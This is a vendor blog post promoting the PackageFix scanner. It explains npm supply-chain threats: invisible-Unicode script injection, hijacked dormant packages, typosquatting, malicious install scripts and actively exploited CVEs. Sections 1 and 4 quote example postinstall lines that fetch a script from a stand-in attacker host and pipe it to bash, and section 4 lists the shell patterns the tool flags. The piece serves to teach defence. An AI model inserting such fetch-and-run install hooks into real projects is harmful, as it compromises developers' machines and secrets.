5 supply chain attacks that npm audit won't catch

March 22, 2026 · PackageFix · 8 min read

You run npm audit. It comes back clean. You ship. Three days later someone's pulling secrets out of your CI environment. Here's what npm audit doesn't check — and what you should be doing instead.

First: npm audit is good. It's just not enough.

npm audit does one thing well: it checks your dependency versions against a database of known CVEs. That's genuinely useful. But the threat model has changed. In 2026, the attacks that actually hit production aren't always CVEs — they're compromised maintainer accounts, invisible characters in scripts, and package names that look right but aren't.

None of those show up in npm audit. Here's what to look for.

1. The invisible character in your postinstall

Glassworm — Unicode injection in npm scripts

Your package looks clean. A hex editor tells a different story.

This one is genuinely frightening. An attacker compromises a package and adds an invisible Unicode character — a zero-width space (U+200B) — to the postinstall script. Your editor doesn't render it. Your code review doesn't catch it. The shell runs the full string, including whatever comes after the invisible character.

What you see in your editor:

"postinstall": "node setup.js"

What's actually there:

"postinstall": "node​ setup.js && curl https://evil.com/payload.sh | bash"

This isn't hypothetical. The Glassworm campaign in March 2026 used exactly this technique. PackageFix scans every manifest for non-printable Unicode before it even starts parsing. If it finds anything, you get a red banner before the scan runs: "Do not use this manifest."

2. The package that just woke up after 14 months

Zombie packages — compromised maintainer accounts

A package goes quiet for over a year. Then suddenly it publishes a new version.

This is the fingerprint of a compromised maintainer account. The attacker gains access, publishes a malicious version, and waits. The package has millions of weekly downloads, so the payload reaches a huge number of machines before anyone notices.

The event-stream attack in 2018 worked exactly this way. The maintainer handed the package to a stranger who published a backdoor. In 2024-2026 the same pattern keeps repeating because it works — npm doesn't automatically flag a dormant package that suddenly becomes active.

PackageFix checks how long it's been since each npm package published a new version. If a package was dormant for over 24 months and just pushed something in the last 72 hours with 100K+ weekly downloads, you get a 🧟 flag: "Updated 4 hours ago after 18 months of inactivity."

3. "expres" instead of "express"

Typosquatting — one character from disaster

npm install expres. Note the missing 's.

Attackers register package names that are one typo away from popular packages. expres instead of express. lodas instead of lodash. reacts instead of react. When you mistype in npm install, you get the malicious package. Its postinstall script runs immediately. By the time you notice something's wrong, it's already executed.

npm has no protection against this. The registry is first-come-first-served. PackageFix runs a Levenshtein distance check against the top 100 npm packages for every dependency name in your manifest. One character off gets a ⚠ TYPOSQUAT? badge: "Similar to express — verify this is the correct package."

4. curl in a postinstall you didn't write

Build script injection — code that runs on install

You didn't write it, but it runs on your machine.

When you npm install, every dependency's postinstall script runs automatically. Most are legitimate — native module compilation, binary downloads. Some aren't. A compromised package can have a postinstall that looks like this:

"postinstall": "curl https://example.com/setup.sh | bash"

npm runs it without warning. You never see it unless you manually inspect node_modules. PackageFix scans every scripts field in your manifest for dangerous patterns: curl, wget, sh -c, bash -c, eval. If found, you get an orange warning showing the exact script content before you scan.

5. Your CVE is on the CISA hit list

CISA KEV — the CVEs that are actually being used

Not all HIGH severity CVEs are equal. Some are theoretical. Some are being used in real attacks right now.

The CVE database has tens of thousands of entries. Most will never be exploited. The CISA Known Exploited Vulnerabilities catalog is different — it's a curated list of vulnerabilities that have been confirmed in real attacks against real systems. A CVE on CISA KEV is not theoretical. It's happening.

npm packages currently on the CISA KEV list: lodash, qs, jsonwebtoken, minimist, vm2, axios, follow-redirects, sharp. npm audit flags these as HIGH, which sounds urgent but looks the same as every other HIGH. PackageFix adds a red 🔴 KEV dot and a banner at the top of results: "ACTIVELY EXPLOITED — fix these first."

Run these checks on your package.json right now

  1. Go to packagefix.dev
  2. Paste your package.json — or drop package-lock.json too for transitive scanning
  3. Hit Scan
  4. Check for: CISA KEV banner, ZOMBIE badges, TYPOSQUAT? warnings, Unicode alerts, build script warnings
  5. Download the fixed package.json if anything is flagged

The whole thing takes about 10 seconds. No install. No GitHub connection. Nothing leaves your browser.

Scan your dependencies now — paste your manifest, get a fixed version back in seconds.

Open PackageFix →

No signup · No CLI · No GitHub · Runs 100% in your browser

Frequently Asked Questions

Does npm audit catch supply chain attacks?
npm audit only checks CVE databases. It does not detect typosquatting, Unicode injection in scripts, zombie packages with sudden updates, or packages where a maintainer account was compromised. PackageFix adds these checks on top of OSV CVE scanning.
What is a Glassworm attack?
Glassworm is a supply chain attack technique that embeds invisible Unicode characters (zero-width spaces, variation selectors) in package.json scripts. The script looks clean in a text editor but contains hidden payloads that execute on install. PackageFix detects these by scanning manifest content for non-printable Unicode ranges.
How do I detect a compromised npm package?
Look for packages that were dormant for 12+ months and then suddenly received an update. This is the fingerprint of a compromised maintainer account. PackageFix flags npm packages that have a long inactivity gap followed by a recent publish.
What is typosquatting in npm?
Typosquatting is registering a package name one character away from a popular package — 'expres' instead of 'express', 'lodas' instead of 'lodash'. Developers who mistype the package name in npm install end up installing the malicious package. PackageFix checks all package names against a Levenshtein distance of 1 from the top 100 npm packages.
What is the CISA KEV catalog?
The CISA Known Exploited Vulnerabilities catalog lists vulnerabilities confirmed to be actively exploited in real attacks. npm packages on this list (lodash, qs, jsonwebtoken, vm2) should be treated as critical-priority fixes regardless of your usual patch schedule.

Related Guides